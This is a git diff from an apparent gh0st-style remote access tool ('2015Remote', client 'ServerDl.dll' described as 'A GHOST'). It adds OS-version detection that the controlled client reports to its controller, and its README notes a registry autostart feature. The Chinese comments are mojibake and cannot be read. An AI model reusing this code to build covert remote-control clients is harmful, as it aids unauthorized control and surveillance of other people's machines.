diff --git a/ReadMe.txt b/ReadMe.txt index 444aabd..b7ddd36 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -169,3 +169,11 @@ 1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。 2、新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。 + +2019.3.29 + +1、主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。 + +2、发布V1.0.0.5。 + +注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。 diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 29dbe10..6f6bb16 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -1,6 +1,118 @@ #include "StdAfx.h" #include "LoginServer.h" #include "Common.h" +#include + +/************************************************************************ +--------------------- +ߣIT1995 +ԴCSDN +ԭģhttps://blog.csdn.net/qq78442761/article/details/64440535 +ȨΪԭ£ת븽ϲӣ +޸˵2019.3.29Ԭ޸ +************************************************************************/ +std::string getSystemName() +{ + std::string vname("δ֪ϵͳ"); + //жǷΪwin8.1win10 + typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*); + HINSTANCE hinst = LoadLibrary("ntdll.dll"); + DWORD dwMajor, dwMinor, dwBuildNumber; + NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); + proc(&dwMajor, &dwMinor, &dwBuildNumber); + if (dwMajor == 6 && dwMinor == 3) //win 8.1 + { + vname = "Windows 8.1"; + printf_s("˵Եİ汾Ϊ:%s\n", vname.c_str()); + return vname; + } + if (dwMajor == 10 && dwMinor == 0) //win 10 + { + vname = "Windows 10"; + printf_s("˵Եİ汾Ϊ:%s\n", vname.c_str()); + return vname; + } + //治жWin ServerΪ˻δϵͳĻӣʱ + + //жwin8.1µİ汾 + SYSTEM_INFO info; //SYSTEM_INFOṹж64λAMD + GetSystemInfo(&info); //GetSystemInfoṹ + OSVERSIONINFOEX os; + os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + if (GetVersionEx((OSVERSIONINFO *)&os)) + { + //ݰ汾Ϣжϲϵͳ + switch (os.dwMajorVersion) + { //ж汾 + case 4: + switch (os.dwMinorVersion) + { //жϴΰ汾 + case 0: + if (os.dwPlatformId == VER_PLATFORM_WIN32_NT) + vname ="Windows NT 4.0"; //19967· + else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) + vname = "Windows 95"; + break; + case 10: + vname ="Windows 98"; + break; + case 90: + vname = "Windows Me"; + break; + } + break; + case 5: + switch (os.dwMinorVersion) + { //ٱȽdwMinorVersionֵ + case 0: + vname = "Windows 2000"; //199912· + break; + case 1: + vname = "Windows XP"; //20018· + break; + case 2: + if (os.wProductType == VER_NT_WORKSTATION && + info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) + vname = "Windows XP Professional x64 Edition"; + else if (GetSystemMetrics(SM_SERVERR2) == 0) + vname = "Windows Server 2003"; //20033· + else if (GetSystemMetrics(SM_SERVERR2) != 0) + vname = "Windows Server 2003 R2"; + break; + } + break; + case 6: + switch (os.dwMinorVersion) + { + case 0: + if (os.wProductType == VER_NT_WORKSTATION) + vname = "Windows Vista"; + else + vname = "Windows Server 2008"; //汾 + break; + case 1: + if (os.wProductType == VER_NT_WORKSTATION) + vname = "Windows 7"; + else + vname = "Windows Server 2008 R2"; + break; + case 2: + if (os.wProductType == VER_NT_WORKSTATION) + vname = "Windows 8"; + else + vname = "Windows Server 2012"; + break; + } + break; + default: + vname = "δ֪ϵͳ"; + } + printf_s("˵Եİ汾Ϊ:%s\n", vname.c_str()); + } + else + printf_s("汾ȡʧ\n"); + return vname; +} int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) @@ -8,8 +120,7 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) LOGIN_INFOR LoginInfor = {0}; LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ //òϵͳϢ - LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); - GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // עת + strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str()); //PCName char szPCName[MAX_PATH] = {0}; diff --git a/client/LoginServer.h b/client/LoginServer.h index 8ff9aad..4e64225 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -8,7 +8,7 @@ typedef struct _LOGIN_INFOR { BYTE bToken; // ȡ1½Ϣ - OSVERSIONINFOEX OsVerInfoEx; // 汾Ϣ + char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 汾Ϣ DWORD dwCPUMHz; // CPUƵ IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ char szPCName[MAX_PATH]; // diff --git a/client/Script.rc b/client/Script.rc index 04ca3ec..046cdfa 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -87,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,0,4 + FILEVERSION 1,0,0,5 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -105,7 +105,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.0.4" + VALUE "FileVersion", "1.0.0.5" VALUE "InternalName", "ServerDl.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDl.dll" diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 6ef15ca..39eae70 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 1ff8500..41531e9 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -54,12 +54,12 @@ typedef struct COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { {"IP", 148 }, - {"˿", 150 }, + {"˿", 64 }, {"/ע", 160 }, - {"ϵͳ", 128 }, + {"ϵͳ", 256 }, {"CPU", 80 }, - {"ͷ", 81 }, - {"PING", 151 }, + {"ͷ", 72 }, + {"PING", 100 }, }; // Ӧó򡰹ڡ˵ CAboutDlg Ի @@ -970,30 +970,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) // strPCName = LoginInfor->szPCName; - switch (LoginInfor->OsVerInfoEx.dwPlatformId) - { - case VER_PLATFORM_WIN32_NT: - if ( LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 ) - strOS = "WindowsNT"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 ) - strOS = "Windows2000"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 ) - strOS = "WindowsXP"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 ) - strOS = "Windows2003"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 ) - strOS = "WindowsVista"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 ) - strOS = "Windows7"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 ) - strOS = "Windows8"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 3 ) - strOS = "Windows8.1"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 4 ) - strOS = "Windows10"; - if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 10 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 ) - strOS = "Windows10"; - } + //汾Ϣ + strOS = LoginInfor->OsVerInfoEx; //CPU strCPU.Format("%dMHz", LoginInfor->dwCPUMHz); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 31b7fad..eb993a7 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -17,7 +17,7 @@ typedef struct _LOGIN_INFOR { BYTE bToken; // ȡ1½Ϣ - OSVERSIONINFOEX OsVerInfoEx; // 汾Ϣ + char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 汾Ϣ DWORD dwCPUMHz; // CPUƵ IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ char szPCName[MAX_PATH]; //